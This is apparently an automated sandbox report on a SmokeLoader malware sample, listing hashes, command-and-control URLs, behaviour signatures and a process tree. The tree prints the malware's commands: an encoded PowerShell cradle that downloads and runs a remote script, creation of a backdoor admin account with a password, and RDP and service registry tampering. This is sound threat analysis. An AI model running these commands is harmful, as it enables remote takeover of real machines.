Analysis

  • max time kernel
    156s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    19-10-2021 10:00

General

  • Target

    580fc5cd72d7979040fa1c4866ada3d0.exe

  • Size

    343KB

  • MD5

    580fc5cd72d7979040fa1c4866ada3d0

  • SHA1

    7da202d99be94f57f355c611bafde9656bca65b7

  • SHA256

    42e7ef551c652a5e6f0ff919fcb53cd2c34682006cb1436295205a41abec6589

  • SHA512

    b1be0be516e0d36c4b2e2f9e82e5cd94fecc86c39a4eee4494174f55e319a4c72d529e2aa097d3d466c5613df4106624fd689e6a1441e6be4a7bf9a15dc44815

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

smokeloader

Version

2020

C2

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32
rc4.i32

Signatures

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\580fc5cd72d7979040fa1c4866ada3d0.exe
    "C:\Users\Admin\AppData\Local\Temp\580fc5cd72d7979040fa1c4866ada3d0.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:4068
  • C:\Users\Admin\AppData\Local\Temp\31F9.exe
    C:\Users\Admin\AppData\Local\Temp\31F9.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:520
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nnudqgu5\nnudqgu5.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1416
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6955.tmp" "c:\Users\Admin\AppData\Local\Temp\nnudqgu5\CSC755B14DB4A69454AADADA3431A9E59F0.TMP"
          4⤵
            PID:1508
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2496
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2200
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1960
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:4568
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:4552
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:2288
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:972
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:2336
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2392
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4800
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3632
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:3648
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4452
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                  3⤵
                    PID:1504
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                    3⤵
                      PID:296
                • C:\Windows\system32\cmd.exe
                  cmd /c net start TermService
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4456
                  • C:\Windows\system32\net.exe
                    net start TermService
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3652
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start TermService
                      3⤵
                        PID:4512
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3840
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4080
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:672
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc XIhDQpGK /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3940
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc XIhDQpGK /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4444
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc XIhDQpGK /add
                          3⤵
                            PID:2260
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:812
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1216
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:1380
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:512
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1508
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD
                              3⤵
                                PID:1744
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1772
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2164
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                              PID:2360
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc XIhDQpGK
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2440
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc XIhDQpGK
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:3244
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc XIhDQpGK
                                  3⤵
                                    PID:4572
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                  PID:1852
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic path win32_VideoController get name
                                    2⤵
                                      PID:4836
                                  • C:\Windows\System32\cmd.exe
                                    cmd.exe /C wmic CPU get NAME
                                    1⤵
                                      PID:4132
                                      • C:\Windows\System32\Wbem\WMIC.exe
                                        wmic CPU get NAME
                                        2⤵
                                          PID:3832
                                      • C:\Windows\System32\cmd.exe
                                        cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                        1⤵
                                          PID:2708
                                          • C:\Windows\system32\cmd.exe
                                            cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                            2⤵
                                              PID:4872
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                3⤵
                                                • Blocklisted process makes network request
                                                • Drops file in Program Files directory
                                                • Drops file in Windows directory
                                                • Modifies data under HKEY_USERS
                                                PID:1592

                                          Network

                                          MITRE ATT&CK Enterprise v6

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                                          Downloads

                                          • memory/520-132-0x0000026EE5830000-0x0000026EE5832000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/520-141-0x0000026EE5830000-0x0000026EE5832000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/520-130-0x0000026EE5830000-0x0000026EE5832000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/520-131-0x0000026EE5830000-0x0000026EE5832000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/520-160-0x0000026EFEB10000-0x0000026EFEB11000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/520-133-0x0000026EFDE90000-0x0000026EFDE91000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/520-134-0x0000026EE5830000-0x0000026EE5832000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/520-136-0x0000026EE5830000-0x0000026EE5832000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/520-135-0x0000026EE5830000-0x0000026EE5832000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/520-137-0x0000026EFDF30000-0x0000026EFDF32000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/520-138-0x0000026EFE610000-0x0000026EFE611000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/520-139-0x0000026EFDF33000-0x0000026EFDF35000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/520-161-0x0000026EFEEA0000-0x0000026EFEEA1000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/520-145-0x0000026EFDF36000-0x0000026EFDF38000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/520-159-0x0000026EFDF38000-0x0000026EFDF39000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/520-129-0x0000026EE5830000-0x0000026EE5832000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/520-153-0x0000026EFDED0000-0x0000026EFDED1000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/1592-393-0x000001B2FE1E6000-0x000001B2FE1E8000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/1592-431-0x000001B2FE1E8000-0x000001B2FE1E9000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/1592-385-0x000001B2FE1E3000-0x000001B2FE1E5000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/1592-383-0x000001B2FE1E0000-0x000001B2FE1E2000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/1732-127-0x000001F328026000-0x000001F328027000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/1732-122-0x000001F340CD0000-0x000001F3410CF000-memory.dmp

                                            Filesize

                                            4.0MB

                                          • memory/1732-123-0x000001F328020000-0x000001F328022000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/1732-126-0x000001F328025000-0x000001F328026000-memory.dmp

                                            Filesize

                                            4KB

                                          • memory/1732-125-0x000001F328023000-0x000001F328025000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/1960-299-0x0000018C6B2E8000-0x0000018C6B2EA000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/1960-270-0x0000018C6B2E6000-0x0000018C6B2E8000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/1960-269-0x0000018C6B2E3000-0x0000018C6B2E5000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/1960-268-0x0000018C6B2E0000-0x0000018C6B2E2000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2200-267-0x0000024A2FA38000-0x0000024A2FA3A000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2200-242-0x0000024A2FA36000-0x0000024A2FA38000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2200-241-0x0000024A2FA33000-0x0000024A2FA35000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2200-240-0x0000024A2FA30000-0x0000024A2FA32000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2496-179-0x0000029A25BC3000-0x0000029A25BC5000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2496-174-0x0000029A25740000-0x0000029A25742000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2496-169-0x0000029A25740000-0x0000029A25742000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2496-178-0x0000029A25BC0000-0x0000029A25BC2000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2496-175-0x0000029A25740000-0x0000029A25742000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2496-171-0x0000029A25740000-0x0000029A25742000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2496-170-0x0000029A25740000-0x0000029A25742000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2496-180-0x0000029A25740000-0x0000029A25742000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2496-176-0x0000029A25740000-0x0000029A25742000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2496-239-0x0000029A25BC8000-0x0000029A25BCA000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2496-172-0x0000029A25740000-0x0000029A25742000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/2496-202-0x0000029A25BC6000-0x0000029A25BC8000-memory.dmp

                                            Filesize

                                            8KB

                                          • memory/3028-118-0x0000000000850000-0x0000000000866000-memory.dmp

                                            Filesize

                                            88KB

                                          • memory/4068-115-0x0000000000AC6000-0x0000000000AD7000-memory.dmp

                                            Filesize

                                            68KB

                                          • memory/4068-117-0x0000000000400000-0x0000000000788000-memory.dmp

                                            Filesize

                                            3.5MB

                                          • memory/4068-116-0x00000000008C0000-0x0000000000A0A000-memory.dmp

                                            Filesize

                                            1.3MB